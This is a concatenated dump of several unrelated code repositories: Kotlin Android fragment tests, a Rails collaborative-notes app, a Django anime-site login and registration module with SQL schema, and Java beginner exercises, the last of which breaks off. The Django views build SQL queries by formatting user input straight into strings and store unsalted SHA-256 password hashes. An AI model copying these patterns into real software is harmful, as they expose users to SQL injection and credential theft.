fun testHelpFragment() {
val scenario = launchFragmentInContainer<HelpFragment>()
onView(withId(R.id.help_return_button)).check(matches(withText("Home")))
onView(withId(R.id.about)).check(matches(withText("About")))
}
@Test
fun testNavigationFromTitleToHelp() {
// Create a TestNavHostController
val navController = TestNavHostController(
ApplicationProvider.getApplicationContext())
runOnUiThread {
navController.setGraph(R.navigation.navigation)
}
// Create a graphical FragmentScenario for the TitleFragment
val titleScenario = launchFragmentInContainer<TitleFragment>()
// Set the NavController property on the fragment
titleScenario.onFragment { fragment ->
Navigation.setViewNavController(fragment.requireView(), navController)
}
// Verify that performing a click changes the NavController’s state
onView(withId(R.id.help_button)).perform(ViewActions.click())
assertThat(navController.currentDestination?.id, Is(R.id.helpFragment))
}
@Test
fun testNavigationFromHelpToTitle() {
// Create a TestNavHostController
val navController = TestNavHostController(
ApplicationProvider.getApplicationContext())
runOnUiThread {
navController.setGraph(R.navigation.navigation)
navController.setCurrentDestination(R.id.helpFragment)
}
// Create a graphical FragmentScenario for the HelpFragment
val helpScenario = launchFragmentInContainer<HelpFragment>()
// Set the NavController property on the fragment
helpScenario.onFragment { fragment ->
Navigation.setViewNavController(fragment.requireView(), navController)
}
// Verify that performing a click changes the NavController’s state
onView(withId(R.id.help_return_button)).perform(ViewActions.click())
assertThat(navController.currentDestination?.id, Is(R.id.titleFragment))
}
}<file_sep>/app/src/main/java/com/teach/eats/fragments/result/color/ColorFragment.kt
package com.teach.eats.fragments.result.color
import android.content.ContentValues
import android.os.Bundle
import android.util.Log
import androidx.fragment.app.Fragment
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.activity.OnBackPressedCallback
import androidx.databinding.DataBindingUtil
import androidx.navigation.findNavController
import com.teach.eats.functions.Learn
import com.teach.eats.functions.Photo
import com.teach.eats.R
import com.teach.eats.databinding.FragmentColorBinding
class ColorFragment : Fragment() {
private lateinit var results : Bundle
override fun onCreateView(
inflater: LayoutInflater, container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
//Inflates and binds layout to fragment
val binding = DataBindingUtil.inflate<FragmentColorBinding>(
inflater,
R.layout.fragment_color,
container,
false
)
results = setResult(savedInstanceState)
//Custom back pressed callback that also deletes photo
requireActivity().onBackPressedDispatcher.addCallback(
viewLifecycleOwner,
object : OnBackPressedCallback(true) {
override fun handleOnBackPressed() {
Log.d(ContentValues.TAG, "Fragment back pressed invoked")
Photo.deleteImage(results)
if (isEnabled) {
isEnabled = false
requireActivity().onBackPressed()
}
}
}
)
setUpUI(this, binding)
setUpNavigation(binding)
return binding.root
}
//Saves the arguments when fragment is stopped
override fun onSaveInstanceState(outState: Bundle) {
super.onSaveInstanceState(outState)
outState.putString("label", results.getString("label"))
outState.putString("photoPath", results.getString("photoPath"))
}
//Sets up the UI for the fragment
private fun setUpUI(colorFragment: ColorFragment, binding: FragmentColorBinding){
colorFragment.context?.let {
Learn.chooseText(
it,
binding.colorView,
results.getString("label").toString(),
1
)
}
colorFragment.context?.let {
Learn.setSound(
it,
binding.listenButton,
results.getString("label").toString(),
1
)
}
}
//Sets up the navigation between fragments
private fun setUpNavigation(binding: FragmentColorBinding) {
binding.leftButton.setOnClickListener { view: View ->
view.findNavController()
.navigate(R.id.action_colorFragment_to_foodNameFragment, results)
}
binding.rightButton.setOnClickListener { view: View ->
view.findNavController()
.navigate(R.id.action_colorFragment_to_originFragment, results)
}
binding.returnButton.setOnClickListener { view: View ->
Photo.deleteImage(results)
view.findNavController().navigate(R.id.action_colorFragment_to_titleFragment)
}
}
//Restores or initializes the arguments when fragment is started
private fun setResult(savedInstanceState: Bundle?) : Bundle {
val result = Bundle()
if(savedInstanceState != null) {
result.putString("label", savedInstanceState.getString("label", ""))
result.putString("photoPath", savedInstanceState.getString("photoPath", ""))
} else {
result.putString("label", requireArguments().getString("label", ""))
result.putString("photoPath", requireArguments().getString("photoPath", ""))
}
return result
}
} | d4ff9f2d2c820e2e19cc42699b0873220cb8425b | [
"Markdown",
"Kotlin",
"Gradle"
] | 16 | Kotlin | ray7yu/teacheats | 7367e4fd541e7db73c2f5e5155c4ca06b129b5a8 | 4cff2ccc2e3d6bb6b688cbb2f18ceec1bc5b2325 |
refs/heads/master | <file_sep>class NoteCollaborator < ApplicationRecord
belongs_to :note
enum access: {view: 0, edit: 1}
enum status: {inactive: 0, active: 1}
validates :email, uniqueness: { case_sensitive: false, scope: [:note_id], message: "already a collaborator on this note" }, on: :create
scope :for_note, -> (note) { where(note_id: note.id) }
after_update_commit {NoteCollaboratorBroadcastJob.perform_now self}
end
<file_sep>class NoteCollaboratorBroadcastJob < ApplicationJob
queue_as :default
def perform(note_collaborator)
ActionCable.server.broadcast "note-#{note_collaborator.note_id}:notes", {email: note_collaborator.email, status: note_collaborator.status}
end
end
<file_sep>namespace :notes do
task :fresh => :environment do
Rake::Task["db:drop"].invoke
Rake::Task["db:create"].invoke
Rake::Task["db:migrate"].invoke
Rake::Task["db:seed"].invoke
end
end
<file_sep>module ApplicationHelper
# Make devise available for all views
def resource_name
:user
end
def resource
@resource ||= User.new
end
def devise_mapping
@devise_mapping ||= Devise.mappings[:user]
end
def date_formatter(datetime)
if ((Time.now - datetime)/(1.minute)).round < 60
"#{pluralize(((Time.now - datetime)/(1.minute)).round,'minute')} ago"
elsif datetime.beginning_of_day == Time.now.beginning_of_day
datetime.strftime("%l:%M %P")
elsif datetime.beginning_of_day + 1.day == Time.now.beginning_of_day
"Yesterday at #{datetime.strftime('%l:%M %P')}"
elsif Time.now.beginning_of_day - datetime.beginning_of_day <= 7.days
"#{datetime.strftime('%A')} at #{datetime.strftime('%l:%M %P')}"
else
"#{datetime.strftime('%B %e')} at #{datetime.strftime('%l:%M %P')}"
end
end
# Generate the empty placeholder
def empty_placeholder(title: "", subtitle: "", link_visible: false, link_text: "", href: "", remote: false)
title = title.empty? ? "Nothing to see here" : title
content_tag(:div, class: "text-center") do
concat(content_tag(:div, class: "mg-b-25 mg-xxl-b-50") do
concat(inline_svg_tag("empty.svg", class: ""))
end)
concat(content_tag(:p, title, class: "h6 font-weight-bold mg-b-20 mg-xxl-b-35"))
concat(content_tag(:p, subtitle, class: "mg-b-25 mg-xxl-b-50"))
if link_visible
concat(content_tag(:center) do
if remote
button_to(link_text, href, method: :get, remote: remote, class: "btn btn-primary btn-sm font-weight-bold justify-content-center", data: {disable_with: link_text})
else
link_to(link_text, href, remote: remote, class: "btn btn-primary btn-sm font-weight-bold justify-content-center")
end
end)
end
end
end
# Integer to Word converter : 100 -> "One hundred"
def in_words(int)
numbers_to_name = {
1000000 => "million",
1000 => "thousand",
100 => "hundred",
90 => "ninety",
80 => "eighty",
70 => "seventy",
60 => "sixty",
50 => "fifty",
40 => "forty",
30 => "thirty",
20 => "twenty",
19=>"nineteen",
18=>"eighteen",
17=>"seventeen",
16=>"sixteen",
15=>"fifteen",
14=>"fourteen",
13=>"thirteen",
12=>"twelve",
11 => "eleven",
10 => "ten",
9 => "nine",
8 => "eight",
7 => "seven",
6 => "six",
5 => "five",
4 => "four",
3 => "three",
2 => "two",
1 => "one"
}
str = ""
numbers_to_name.each do |num, name|
if int == 0
return str
elsif int.to_s.length == 1 && int/num > 0
return str + "#{name}"
elsif int < 100 && int/num > 0
return str + "#{name}" if int%num == 0
return str + "#{name} " + in_words(int%num)
elsif int/num > 0
return str + in_words(int/num) + " #{name} " + in_words(int%num)
end
end
end
end
<file_sep>class NoteDatatable < AjaxDatatablesRails::ActiveRecord
extend Forwardable
def_delegator :@view, :link_to
def_delegator :@view, :note_path
def_delegator :@view, :edit_note_path
def_delegator :@view, :new_note_collaborator_path
def_delegator :@view, :content_tag
def_delegator :@view, :concat
def initialize(params, opts = {})
@view = opts[:view_context]
@current_user = opts[:current_user]
super
end
def view_columns
# Declare strings in this format: ModelName.column_name
# or in aliased_join_table.column_name format
@view_columns ||= {
id: { source: "Note.id" },
created_at: { source: "Note.created_at" },
title: { source: "Note.title"},
body: { source: "Note.body"}
}
end
def data
records.map do |record|
{
id: link_to("##{record.id}", note_path(record)),
created_at: record.created_at.strftime("%d-%m-%Y %I:%M %p"),
title: record.title,
body: record.body[0..50],
actions: content_tag(:div, class: "d-flex justify-content-start align-items-center") do
concat(link_to '<i class="fas fa-plus text-dark"></i>'.html_safe, new_note_collaborator_path(note_id: record), :data => { remote: true, method: 'get', target: '#editModal', 'pt-title' => "Add Collaborator" }, class: "mr-3 protip")
concat(link_to '<i class="far fa-edit text-dark"></i>'.html_safe, note_path(record), :data => { method: 'get', 'pt-title' => "Edit" }, class: "mr-3 protip")
concat(link_to '<i class="far fa-trash-alt text-danger"></i>'.html_safe, note_path(record), method: :delete, :data => {:toggle => "tooltip", :placement=>"top", :confirm => "Are you sure you want to delete this note?", 'pt-title' => "Delete" }, class: "mr-3 protip")
end,
DT_RowId: record.id
}
end
end
def get_raw_records
@current_user.notes
end
end
<file_sep>class NotesController < ApplicationController
before_action :authenticate_user!
before_action :set_note, only: [:show, :edit, :update, :destroy]
def index
respond_to do |format|
format.html
format.json { render json: NoteDatatable.new(params, view_context: view_context, current_user: current_user), status: :ok }
end
end
def show
if !@note
return render :file => "#{Rails.root}/public/404", :layout => false, :status => :not_found
end
@edit = (NoteCollaborator.find_by(note_id: params[:id], email: current_user.email) and NoteCollaborator.find_by(note_id: params[:id], email: current_user.email).edit?)
end
def new
@note = current_user.notes.new
end
def create
@note = current_user.notes.create(note_params)
respond_to do |format|
if @note.valid?
format.html { redirect_to notes_path, notice: 'Note has been created successfully' }
format.json { render json: {message: "Note has been created successfully"}, status: :ok }
else
format.html { redirect_to new_note_path }
format.json { render json: {error_messages: @note.errors.full_messages}, status: :unprocessable_entity }
end
end
end
def edit
end
def update
@note.update(note_params)
respond_to do |format|
if @note.valid?
format.html { redirect_to notes_path, notice: 'Note has been updated successfully' }
format.json { render json: {message: "Note has been updated successfully"}, status: :ok }
else
format.html { redirect_to new_note_path }
format.json { render json: {error_messages: @note.errors.full_messages}, status: :unprocessable_entity }
end
end
end
def destroy
@note.destroy
respond_to do |format|
format.html { redirect_to notes_path, notice: 'Note has been deleted successfully' }
format.json { render json: {message: "Note has been deleted successfully"}, status: :ok }
end
end
private
def set_note
@note = Note.joins(:note_collaborators).where(id: params[:id]).find_by("note_collaborators.email =?", current_user.email)
end
def note_params
params.require(:note).permit(:title, :body)
end
end
<file_sep>class NoteCollaboratorsController < ApplicationController
before_action :authenticate_user!
def new
@note_collaborator = NoteCollaborator.new
end
def create
@note_collaborator = NoteCollaborator.create(note_params)
respond_to do |format|
if @note_collaborator.valid?
format.html { redirect_to notes_path, notice: 'Collaborator has been added successfully' }
format.json { render json: {message: "Collaborator has been added successfully"}, status: :ok }
format.js {}
else
format.html { redirect_to notes_path }
format.json { render json: {error_messages: @note_collaborator.errors.full_messages}, status: :unprocessable_entity }
format.js { render :new }
end
end
end
private
def note_params
params.require(:note_collaborator).permit(:note_id, :email, :access, :status)
end
end
<file_sep>class NoteBroadcastJob < ApplicationJob
queue_as :default
def perform(note)
ActionCable.server.broadcast "note-#{note.id}:notes", {note_id: note.id, title: note.title, body: note.body}
end
end
<file_sep>class ApplicationController < ActionController::Base
# Prevent CSRF attacks by raising an exception.
# For APIs, you may want to use :null_session instead.
protect_from_forgery unless: -> { request.format.json? }
# helper_method :current_user
# if session[:user_id]
# @current_user ||= User.find(session[:user_id])
# else
# @current_user = nil
# end
# end
end
<file_sep>class NotesChannel < ApplicationCable::Channel
def subscribed
stream_from "note-#{params['note']}:notes"
end
def unsubscribed
nc = NoteCollaborator.find_by(note_id: params["note"], email: current_user.email)
nc.update(status: 0) if nc
end
def update_user_status(params)
nc = NoteCollaborator.find_by(note_id: params["note_id"], email: params["email"])
nc.update(status: params["status"]) if nc
end
end
<file_sep>class ApplicationSerializer
include FastJsonapi::ObjectSerializer
# cache_options enabled: true, cache_length: 1.hour
def to_h
data = serializable_hash
if data[:data].is_a? Hash
data[:data][:attributes]
elsif data[:data].is_a? Array
data[:data].map{ |x| x[:attributes] }
elsif data[:data] == nil
nil
else
data
end
end
class << self
def has_one resource, options={}
serializer = options[:serializer] || "#{resource.to_s.classify}Serializer".constantize
attribute resource do |object|
serializer.new(object.try(resource)).to_h
end
end
def has_many resources, options={}
serializer = options[:serializer] || "#{resources.to_s.classify}Serializer".constantize
attribute resources do |object|
serializer.new(object.try(resources)).to_h
end
end
end
end
<file_sep>require 'rails_helper'
RSpec.describe NoteCollaboratorsController, type: :controller do
end
<file_sep>class Note < ApplicationRecord
belongs_to :user
has_many :note_collaborators, dependent: :delete_all
after_create_commit {
self.note_collaborators.create(email: self.user.email, access: 1)
}
after_update_commit {NoteBroadcastJob.perform_now self}
end
| 923b14345f39265dda0d163e560397af0e19044e | [
"Ruby"
] | 13 | Ruby | JoeKaldas/pangea-notes | 1b9e8affed89c584d0842753205f1e5fbc55ff90 | fd27bfb231f0217e6d76679e17320ba6e94743e0 |
refs/heads/master | <repo_name>rachidho/tpServletJspJstl<file_sep>/build/classes/Messages_en.properties
message.bienvenu=Welcome
message.affiche.catalogue.jsp=Displays Catalogue JSP
message.affiche.catalogue.jstl=Displays Catalogue JSTL<file_sep>/src/Messages_fr.properties
message.bienvenu=Bienvenu
message.affiche.catalogue.jsp=Affiche Catalogue JSP
message.affiche.catalogue.jstl=Affiche Catalogue JSTL<file_sep>/src/fr/shopping/servlet/AffichePanier.java
package fr.shopping.servlet;
import java.io.IOException;
import java.util.HashMap;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import fr.shopping.bean.Catalogue;
import fr.shopping.bean.Produit;
/**
* Servlet implementation class AffichePanier
*/
@WebServlet("/AffichePanier")
public class AffichePanier extends HttpServlet {
private static final long serialVersionUID = 1L;
/**
* @see HttpServlet#HttpServlet()
*/
public AffichePanier() {
super();
// TODO Auto-generated constructor stub
}
/**
* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse
* response)
*/
/*
* creation et transmission de catalogue correspondant au panier
*/
protected void doGet(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
// recuperetion du catalogue
Catalogue catalogue = Catalogue.getInstance();
// recuperation de la liste des cookies
Cookie[] cookies = request.getCookies();
// creation du catalogue qui va contenir les produit de panier
Catalogue cataloguePanier = new Catalogue();
// creation de la liste des produit dans le panier
HashMap<String, Produit> listProduit = new HashMap<String, Produit>();
for (int i = 0; i < cookies.length; i++) {
Cookie cookieO = cookies[i];
if ("PRODUIT_".equals(cookieO.getName().substring(0, 8))) {
listProduit.put(cookieO.getName(), catalogue.getListProduit().get(cookieO.getValue()));
}
}
cataloguePanier.setName(catalogue.getName());
cataloguePanier.setListProduit(listProduit);
// transmission de catalogue vers la JSTL
request.setAttribute("catalogue", cataloguePanier);
// redirection vers la page afficheCatalogueJSTL
RequestDispatcher dispatcher = request.getRequestDispatcher("/jsp/afficheCatalogueJSTL.jsp");
dispatcher.forward(request, response);
}
}
<file_sep>/src/fr/shopping/servlet/InitCatalogue.java
package fr.shopping.servlet;
import java.util.HashMap;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import fr.shopping.bean.Catalogue;
import fr.shopping.bean.Produit;
/**
* Servlet implementation class InitCatalogue
*/
@WebServlet("/InitCatalogue")
public class InitCatalogue extends HttpServlet {
private static final long serialVersionUID = 1L;
/**
* @see HttpServlet#HttpServlet()
*/
/*
* initialisation de catalogue au démarrage du serveur.
*/
public InitCatalogue() {
Produit produit1 = new Produit();
produit1.setId("P1");
produit1.setNom("PHILIPS 52PFL7203H");
produit1.setPrix(1499.99f);
Produit produit2 = new Produit();
produit2.setId("P2");
produit2.setNom("SAMSU_PS42A416");
produit2.setPrix(589.99f);
produit2.setImage("http://www.lcd-compare.com/images/pdts/xlm/SAMPS42A416.jpg");
produit2.setDescription("Téléviseur Plasma 42\" (106 cm) 16:9 - Tuner TNT intégré - Double HDMI - Entrée PC -"
+ "Résolution: 1024 x 768 - Luminosité: 1500 cd/m² - Taux de contraste: 100 000:1 - Angle de vision: 175°");
Produit produit3 = new Produit();
produit3.setId("P3");
produit3.setNom("PHILIPS 52PFL7203H");
produit3.setImage("http://img.clubic.com/0156015601294748-c2-photo-oYToxOntzOjU6ImNvbG9yIjtzOjU6IndoaXRlIjt9-televiseur-lcd-philips-32pfl7403.jpg");
produit3.setPrix(1499.99f);
Produit produit4 = new Produit();
produit4.setId("P4");
produit4.setNom("TOSHIBA 32CV515DG");
produit4.setPrix(499.99f);
produit4.setDescription("Téléviseur LCD 32\" (81 cm) 16:9 HD TV - Tuner TNT HD intégré - Triple HDMI - Résolution:"
+ "1366 x 768 - Luminosité: 500 cd/m² - Contraste: 30000:1 - Temps de réponse: 8 ms - Angle de vision: 178°");
HashMap<String, Produit> listProduit = new HashMap<String, Produit>();
listProduit.put(produit1.getId(), produit1);
listProduit.put(produit2.getId(), produit2);
listProduit.put(produit3.getId(), produit3);
listProduit.put(produit4.getId(), produit4);
Catalogue catalogue = Catalogue.getInstance();
catalogue.setName("Catalogue");
catalogue.setListProduit(listProduit);
}
}
| 57a8d8d4c6ff71303e911d1738d8a6fce9bd9c48 | [
"Java",
"INI"
] | 4 | INI | rachidho/tpServletJspJstl | 79532d6336b1fc8bbd5533d94b30a80c0b4127d8 | 5a0f05b5b511a7d12558cb47aa5d88d8450f72ff |
refs/heads/master | <repo_name>kdmutriy/Lib<file_sep>/Lib/Controllers/HomeController.cs
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Lib.Models;
using Microsoft.EntityFrameworkCore;
using Lib.ViewModels;
namespace Lib.Controllers
{
public class HomeController : Controller
{
private LibContext db;
public HomeController(LibContext context)
{
db = context;
}
public IActionResult Index()
{
//var courses = db.Books.Include(c => c.Libraries).ThenInclude(sc => sc.Author).ToList();
//var courses = db.Books.Include(c => c.Libraries).ThenInclude(sc => sc.Author).FirstOrDefault();
var courses = db.Libraries.Include(a => a.Author).Include(b => b.Book).ToList();
return View(courses);
}
public IActionResult Create()
{
return View();
}
[HttpPost]
public IActionResult Create(Library library)
{
db.Books.Add(library.Book);
db.Authors.Add(library.Author);
db.SaveChangesAsync();
return RedirectToAction("Index");
}
public IActionResult Error()
{
return View(new ErrorViewModel { RequestId = Activity.Current?.Id ?? HttpContext.TraceIdentifier });
}
}
}
<file_sep>/Lib/Models/Author.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace Lib.Models
{
public class Author
{
public int Id { get; set; }
public string NameAuthor { get; set; }
public List<Library> Libraries { get; set; }
public Author()
{
Libraries = new List<Library>();
}
}
}
<file_sep>/Lib/Models/Book.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace Lib.Models
{
public class Book
{
public int Id { get; set; }
public string NameBook { get; set; }
public List<Library> Libraries { get; set; }
public Book()
{
Libraries = new List<Library>();
}
}
}
| ab2eb6447e99f6c4e3f7d49c6904ac760f9e37b7 | [
"C#"
] | 3 | C# | kdmutriy/Lib | e68d3559b968ce0b2d296c517a1bdb04125964fd | 22d5d87a317731ba62231415ec441a19fe956740 |
refs/heads/master | <file_sep>#-*- coding: utf-8 -*-
from django.shortcuts import render
from django.http import HttpResponse, JsonResponse
from django.views.decorators.csrf import csrf_protect
from django.db import connections
#UTIL
import json
import hashlib
def login(request):
return render(request, 'anifree_user/login/login.html')
def api_loginCheck(request):
login_id = request.POST.get('login_id')
login_pw = request.POST.get('login_pw')
login_pw = hashlib.sha256(login_pw.encode('utf-8')).hexdigest()
print('login_id = ', login_id)
print('login_pw = ', login_pw)
with connections['default'].cursor() as cur:
query = '''
select id, delete_yn, ban_yn
from ani_user
where id = '{login_id}'
and password = '{<PASSWORD>}'
'''.format(login_id=login_id, login_pw=login_pw)
cur.execute(query)
rows = cur.fetchall()
if len(rows) == 0:
return JsonResponse({'return':'none'})
elif len(rows) != 0:
id = rows[0][0]
delete_yn = rows[0][1]
ban_yn = rows[0][2]
if delete_yn == 'Y':
return JsonResponse({'return':'delete'})
if ban_yn == 'Y':
return JsonResponse({'return':'ban'})
if delete_yn == 'N' and ban_yn == 'N':
request.session['id'] = id
return JsonResponse({'return':'success'})
<file_sep>애니프리
=============
### 애니메이션을 임베디드 링크 방식으로 서비스하는 웹 서비스
개발 요구사항 (필수)
-------------
- docker
- python3.6
- virtualenv
개발환경
-------------
- mysql 5.7
- django 2.0.5
- djangomako 1.1.1
개발환경 구축 방법
-------------
- <code>mkdir workspace</code>
- <code>cd workspace</code>
- <code>git clone https://github.com/h4ppyy/anifree</code>
- <code>cd main</code>
- <code>make venv</code>
- <code>. venv/bin/activate</code>
- <code>make req</code>
- <code>make db</code>
- <code>make server</code>
접속 방법
-------------
- django
127.0.0.1:7777
- mysql
127.0.0.1:3315
### 법적인 이유로 개발을 중단함...
<file_sep>#-*- coding: utf-8 -*-
from django.shortcuts import render
from django.http import HttpResponse, JsonResponse
from django.views.decorators.csrf import csrf_protect
from django.db import connections
#UTIL
import json
import hashlib
def regist(request):
return render(request, 'anifree_user/regist/regist.html')
def api_registCheck(request):
try:
regist_id = request.POST.get('regist_id')
regist_pw = request.POST.get('regist_pw')
regist_pw2 = request.POST.get('regist_pw2')
lock = 0
# 유효성 체크
if regist_id.isalnum() == False:
lock = 1
if regist_id.find('admin') != -1:
lock = 1
if len(regist_id) < 6:
lock = 1
if regist_pw != regist_pw2:
lock = 1
if len(regist_pw) < 8:
lock = 1
if lock != 0:
return JsonResponse({'return':'hacking'})
# 중복회원 체크
with connections['default'].cursor() as cur:
query = '''
select count(*)
from ani_user
where id = '{regist_id}';
'''.format(regist_id=regist_id)
cur.execute(query)
rows = cur.fetchall()
if rows[0][0] != 0:
return JsonResponse({'return':'duplicate'})
# 비밀번호 해쉬화
regist_pw = hashlib.sha256(regist_pw.encode('utf-8')).hexdigest()
# 회원가입
with connections['default'].cursor() as cur:
query = '''
insert ani_user(id, password)
values('{regist_id}', '{regist_pw}');
'''.format(regist_id=regist_id, regist_pw=regist_pw)
cur.execute(query)
rows = cur.fetchall()
except BaseException:
return JsonResponse({'return':'why'})
return JsonResponse({'return':'success'})
<file_sep>Django==2.0.5
mysqlclient==1.3.12
djangomako==1.1.1
djangorestframework==3.8.2
Markdown==2.6.11
django-filter==1.1.0
django-rest-swagger==2.2.0
<file_sep>#-*- coding: utf-8 -*-
from django.shortcuts import render
from django.http import HttpResponse, JsonResponse
from django.views.decorators.csrf import csrf_protect
from django.db import connections
#UTIL
import json
def api_logout(request):
print("logout ----------------> 1")
if 'id' in request.session:
print("logout ----------------> 2")
print(request.session['id'])
del request.session['id']
return JsonResponse({'return':'success'})
<file_sep>function logout(){
var csrf_token = $('#csrf_token').text();
$.post( "/api_logout", {
csrfmiddlewaretoken: csrf_token,
})
.done(function( data ) {
$(location).attr('href', '/')
});
}
$( document ).ready(function() {
console.log( "ready!" );
});
<file_sep>from django.urls import path
from django.conf.urls import url
from .djangoapps.sample import views as SampleViews
from .djangoapps.login import views as LoginViews
from .djangoapps.logout import views as LogoutViews
from .djangoapps.regist import views as RegistViews
from .djangoapps.index import views as IndexViews
from .djangoapps.board import views as BoardViews
from .djangoapps.daily import views as DailyViews
from .djangoapps.ing import views as IngViews
from .djangoapps.finish import views as FinishViews
from .djangoapps.search import views as SearchViews
from .djangoapps.player import views as PlayerViews
from .djangoapps.list import views as ListViews
urlpatterns = [
# sample code
url('sample$', SampleViews.sample, name='sample'),
url('vuejs$', SampleViews.vuejs, name='vuejs'),
url('vueservice$', SampleViews.vueService, name='vueService'),
# login and logout
url('login$', LoginViews.login, name='login'),
url('api_loginCheck$', LoginViews.api_loginCheck, name='api_loginCheck'),
url('regist$', RegistViews.regist, name='regist'),
url('api_registCheck$', RegistViews.api_registCheck, name='api_registCheck'),
url('api_logout$', LogoutViews.api_logout, name='api_logout'),
# menu content
url('board$', BoardViews.board, name='board'),
url('board_write$', BoardViews.board_write, name='board_write'),
url('daily$', DailyViews.daily, name='daily'),
url('ing$', IngViews.ing, name='ing'),
url('finish$', FinishViews.finish, name='finish'),
url('search$', SearchViews.search, name='search'),
url('player$', PlayerViews.player, name='player'),
url('list$', ListViews.list, name='list'),
# index
url('$', IndexViews.index, name='index'),
]
<file_sep>from django.apps import AppConfig
class AnifreeAdminConfig(AppConfig):
name = 'anifree_admin'
<file_sep>use main;
create table IF NOT EXISTS sample_user(
id int auto_increment primary key,
email varchar(100),
password varchar(500),
regist_date datetime default now(),
modify_date datetime default null
);
create table IF NOT EXISTS ani_user(
seq int auto_increment primary key,
id varchar(100),
password varchar(500),
regist_date datetime default now(),
modify_date datetime default null,
delete_yn varchar(10) default 'N',
ban_yn varchar(10) default 'N'
);
| e1d890121ed92abde61483d9c0518068a27cecf5 | [
"SQL",
"Markdown",
"JavaScript",
"Python",
"Text"
] | 9 | Python | h4ppyy/anifree | 4f37c213778f50fdc2c622657dac66a6f114cb77 | ea62ca5797eec647914fad40028c5b35fec3ca14 |
refs/heads/main | <file_sep>package week1.day2.assignments;
public class Palindrome {
public static void main(String[] args) {
String str = "wer";
String revStr = "";
for (int i = str.length() - 1; i >= 0; --i) {
revStr = revStr + str.charAt(i);
System.out.println(revStr);
}
if (str.equals(revStr)) {
System.out.println("String is Palindrome");
} else {
System.out.println("String is Not a Palindrome");
}
}
} | 2adbfd95c611ebd4a1e9c2fed58edb05341837b2 | [
"Java"
] | 1 | Java | SaranyaKuppan27/testleaf-saranyakjuno | 5233740a9baab6d700e76132f38a34d2ed7b45e0 | 2aa22b80b5e66409f4ba3bd5ab10a2f568fb7940 |
refs/heads/master | <file_sep>#!/usr/bin/python3
print("hello me");
<file_sep>#!/usr/bin/python3
print("pallavi");
| fd516c67ddd60eb20e67bd7c205a76b78e9561d6 | [
"Python"
] | 2 | Python | iirksii/ditiss1 | 6e7fba13ffb09cffc2982a1d380f747edbbdfac9 | 9e997f00d4c8996d69171f0b1556a7f1fc62718b |
refs/heads/master | <repo_name>GurjeetSinghBansal/Playground<file_sep>/Finding the frequency of the numbers/Main.java
import java.util.Scanner;
class Main{
public static void main(String args[])
{
// Type your code here
Scanner in = new Scanner(System.in);
int n= in.nextInt();
int i,d;
int q=in.nextInt();
int ar[]=new int[n];
for(i=0;i<n;i++)
{
ar[i]=in.nextInt();
}
int a[]=new int[q+1];
for(i=0;i<q+1;i++)
{
a[i]=0;
}
for(i=0;i<n;i++)
{
d=ar[i];
a[d]++;
}
for(i=1;i<q+1;i++)
{
System.out.println(i+" "+a[i]);
}
}
}<file_sep>/Prime numbers from 2 to given number using functions/Main.java
import java.util.Scanner;
class Main{
public static void prime(int num)
{
int i=2,k=0;
while(i<=num)
{
k=1;
if(i==2)
{
System.out.println(i);
}
else
{
k=0;
for(int j=2;j<=i/2;j++)
{
if(i%j==0)
{
k=1;
break;
}
}
if(k==0)
{
System.out.println(i);
}
}
i++;
}
}
public static void main (String[] args){
// Type your code here
Scanner in = new Scanner(System.in);
int n=in.nextInt();
prime(n);
}
}<file_sep>/Checking for Perfect Batch/Main.java
import java.util.Scanner;
class Main
{
public static void main(String args[])
{
Scanner sc = new Scanner(System.in);
int n=sc.nextInt();
int i;
int arr[]=new int[n];
for(i=0;i<n;i++)
{
arr[i]=sc.nextInt();
}
pre(arr, n);
}
public static void pre(int arr[], int n)
{
int i=0,k,j=0;
int a[]=new int [4];
a[0]=0;
a[1]=0;
a[2]=0;
a[3]=0;
while(i<n)
{
k=3;
while(k>0)
{
a[j]=a[j]+arr[i];
i++;
k--;
}
j++;
}
int g=0;
for(i=0;i<j-1;i++)
{
if(a[i]!=a[i+1])
{
g=1;
System.out.println("Not a Perfect Batch");
break;
}
}
if(g==0)
{
System.out.println("Perfect Batch");
}
}
}<file_sep>/Pattern Printing/Main.java
import java.util.Scanner;
class Main
{
public static void main(String args[])
{
//Try your code here
Scanner in = new Scanner(System.in);
int a=in.nextInt();
int b=in.nextInt();
int i;
for(i=a;i>=1;i--)
{
int k=b;
int j=b;
while(k>0)
{
if(j==i)
{
System.out.print(j);
}
else if(j>i)
{
System.out.print(j);
j--;
}
k--;
}
System.out.println();
}
}
}<file_sep>/Removing characters from a string./Main.java
import java.util.Scanner;
class Main
{
public static void main(String args[])
{
//type your code here
Scanner in = new Scanner(System.in);
String str=in.nextLine();
String st1=in.nextLine();
StringBuilder sb=new StringBuilder("");
int l=str.length();
int l1=st1.length();
int i,j,k;
for(i=0;i<l;i++)
{
k=0;
for(j=0;j<l1;j++)
{
if(str.charAt(i)==st1.charAt(j))
{
k=1;
break;
}
}
if(k==0)
{
sb.append(str.charAt(i));
}
}
System.out.println(sb);
}
}<file_sep>/Subtraction of two matrices/Main.java
import java.util.Scanner;
class Main{
public static void main(String args[])
{
// Type your code here
Scanner in = new Scanner(System.in);
int n,m;
n=in.nextInt();
m=in.nextInt();
int a[][]=new int[n][m];
int b[][]=new int[n][m];
int c[][]=new int[n][m];
int i,j;
for(i=0;i<n;i++)
{
for(j=0;j<m;j++)
{
a[i][j]=in.nextInt();
}
}
for(i=0;i<n;i++)
{
for(j=0;j<m;j++)
{
b[i][j]=in.nextInt();
}
}
for(i=0;i<n;i++)
{
for(j=0;j<m;j++)
{
c[i][j]=a[i][j]-b[i][j];
}
}
for(i=0;i<n;i++)
{
for(j=0;j<m;j++)
{
System.out.print(c[i][j]+" ");
}
System.out.println();
}
}
}<file_sep>/Perfect Couple/Main.java
import java.util.Scanner;
class Main{
public static void main(String args[]) {
// Type your code here
Scanner in = new Scanner(System.in);
